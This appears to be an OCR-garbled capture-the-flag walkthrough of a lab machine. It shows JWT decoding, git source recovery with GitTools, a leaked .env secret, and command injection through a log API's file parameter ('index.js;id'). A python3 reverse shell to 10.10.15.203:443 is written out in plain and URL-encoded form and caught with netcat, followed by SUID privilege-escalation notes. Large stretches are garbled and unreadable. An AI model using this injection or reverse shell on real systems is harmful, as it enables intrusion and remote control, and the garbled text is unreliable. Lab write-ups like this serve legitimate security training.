eyJhbGci0iJIUZITNiTSInR5cCI6TkpXVCJ9 . ey
JfallQi01iI2MWQxZ TgzYTRKMZViMjABNWYZNTK5Z I
6QiLCJuYW11IjoidGh1YWRtaW41iLCJ1bWFpbCI6 ORI

InR1c3RAdGhhZG1pbi5jb28ilCJpYXQi0jE2NDE }
xNDYBNDF9.dp9tnvAr_WO1WQE6Gc2n_g19EB8YJ

RTINS arTT PAYLOAD:
GBISIwWyuusr7I
-1d 61d1e83a4d35b2845F3599dd",
name admin”,
email”: est@thadmin.com
iat 164114644

VERIFY SIGMNATURE

DX s o X DO W T
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¥ oKV S ool x4
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[~/Desktop/local-web]

L™ A~ WE X7 | &%,

S R TR B IS S I BRI A B BN L G 25 IR B P
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X7 oL T X BIxxINTs LSO 4 N IS 4w RISX v L T4 T s x 7
. . ¥ « X oo L Ll x " = s X {1 L X « x.git,sl K dS s XL ] 0 X 7L, x| isx oo loX, Y

Moo d® s IS X Wl s, S TS TP s s {0 Ts ]

https://github.com/internetwache/GitTools

¥ « *ssl xioo 4 .Ektractort | X 17«

r is part of http thub.com/internetw
ped and maintained by @ge 1t from @inte

might be ill in certain circumstances.

s!

ot exis

. XS L X "Z~\‘4 x I s% -|2L~>§.y,, ‘@1d_SOUI’C©S 1 s ¥ x X fss {4 - s

~ v v ~

X 7T ény

~/Desktop/local-web/old_source/0-4e5547295cfe456d8ca7005cb823e1101fd1f9ch

total
drw kali 4096 Jan
kali 4096 Jan
kali 219 Jan

4

1 commit-meta.txt
1 ka kali SEL

1

P

.env
kali 5 Jan index.js
kali 4096 Jan

drwxr-xr-x 125 k kali 4096 Jan

NNNNNNN

~/Desktop/local-web/old_source/0-4e5547295cfe456d8ca7005cb823e1101fd1f9cb
.env
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'’
RO I I A 0 X r6 7 Tt 0QL8TShUC8XYSK2HvsBYfyQSFCFZe4MQp7gRpFUMKK ) cM72CNQN4 fMfDbZEKx417YiWuUNAKkmuTcdEriCMm9vPAYKhpwPTiuVwVhvwE

~/Desktop/local-web/old_source/0-4e5547295cfe456d8ca7005cb823e1101fd1f9ch

Sle XD, s %ty 3Py Lox ] s %, Foken -t~ " Xi"YLS %8 X . T«

Mo”1 JWT,

Ty Sl X pSaw X IxXoTx X 3-|'|,,~'| .

~
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~/Desktop/local-web/old_source/0-4e5547295cfe456d8ca7005cb823e1101fd1f9ch ]

tt f .1 1 i fil .3 id

the codes\n”

~/Desktop/local-web/old_source/0-4e5547295cfe456d8ca7005cbh823e1101fd1foch

I x o v . S L iy

<,

req.user }

.name.name;

]

otLogs, (err , output)
if(err){
res.status(500).send(err);

}

res.json(output);

})

38i(:=s 0 IR LA BCR M S N R N L I IR RTINS P

< v v

Yl xsX .98 Frlencodgts: xlcl x &7 KHidB ;¢ © XY ¥ X0 Sy

< v

http://10.10.11.120:3000/api/log®file=index.js+;+id

a7005cb823e1101fd1f9ch

codes\nuid=1000(dasith) gid=1000(dasith) groups=100@(dasith)\n”

~/Desktop/local-web/old_source/0-4e5547295cfe456d8ca7005chb823e1101fd1f9ch

L Xs, DL L8 o X 1" rdverse shelt 4 s L xT T YIRKS €1 s ox
*x 1) X "y FoAse® XTxx 7 s Yy xipaylbadsreverse shells T x x v ¥

Kal#* T4 ¢ POrtxKPq L
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s 7 x  Tso isxe % Python3tr | ST 7

@ Online - Reverse Shell

revshells.com

Reverse Bind MSFVenom

(03 All
PowerShell #3
2 python3 -c 'import
PowerShell #4 (TLS) socket, subprocess, 0s;s=socket.socket(socket.AF_INET, socket.SOCK_STREAM);

s.connect((" s ));os.dup2(s.fileno(),0);
PowerShell #3 (Base64) os.dup2(s.fileno(),1);0s.dup2(s.fileno(),2);import pty; pty.spawn("

Python #1
Python #2
Python3 #1

Python3 #2

ok kLx

python3 -c 'import socket,subprocess,os;s=socket.socket(socket. AF_INET,socket. SOCK_STREAM);s.connect(("10.10.15.203",443)).0
s.dup2(s.fileno(),0); os.dup2(s.fileno(),1):0s.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

© To encode binaries (like images, documents, etc.) use the file upload form a little further down on this page
UTF-8 :j Destination character set.
LF (Unix) :j Destination newline separator.

Encode each line separately (useful for when you have multiple entries).
Split lines into 76 character wide chunks (useful for MIME).

@ Live mode OFF Encodes in real-time as you type or paste (supports only the UTF-8 character set).

b =1\ [ofo o] BRI Encodes your data into the area below.
python3%20-c%20%27import%20socket?%2Csubprocess%2Cos%3Bs%3Dsocket.socketd628socket. AF _INET%2Csocket. SOCK STR

9629%3Bs.connect%628%28%2210.10.15.203%22%2C443%29%29%3B0s.dup2%28s.fileno%28%29%2C0%29%3B%200s.dup
9 .Spawn’28%22%2Fbing

23628s.1ileno%28%629%2C1%629%3B0s.dup2%28s.1ileno%628%29%2C 2%29%3Bimpo

2Fbash%6229%629%2
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Y 1 X% 1% %X Netcat: *

a

- [~/Desktop/local-web/old_source/0-4e5547295cfe456d8ca7005ch823e1101fd1f9ch]

tp ik le=

XQi0jE2NDEX @NDF9.
curl: (5: ty reply fr

[~/Desktop/local-web/old_source/0-4e5547205cfe456d8ca7005cb823e1101fd1foch]
¥)

retrying
trying 1

19.10.11.1 inverse host 1
connect @.18.15
dasith@secret

whoami

dasit

s ofpodt S A w4 X L1 b e Ll Js. x5 SHER K eyl 15 1

root = _ 4y Y4 _s¢ v 414~ xXTobthxt . SX . XX 18X
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Privilege escalation

1. T s ds D Lliux T 0T XA TesiC s s

Coyout-1 , X « X o4 P A s (L] suid L vll)s xp7sT> o (]l x

~

Ed oL X ‘-X‘I:,Oﬂt :SXL‘.“~ s .,%l :.XLXA> A\XL X L ” )\.:
P4 sfind S ox o s Dx L X

find [ - =s - 1>/ / 2>/ /

o4 T AT 4 RAmpffiles.txt | X %se L7

SsL. . ss 1. Lo 44 1 Laptcotinit: XS W7 TS vl e X s
Yoooawssxs ] g HI sy | x X
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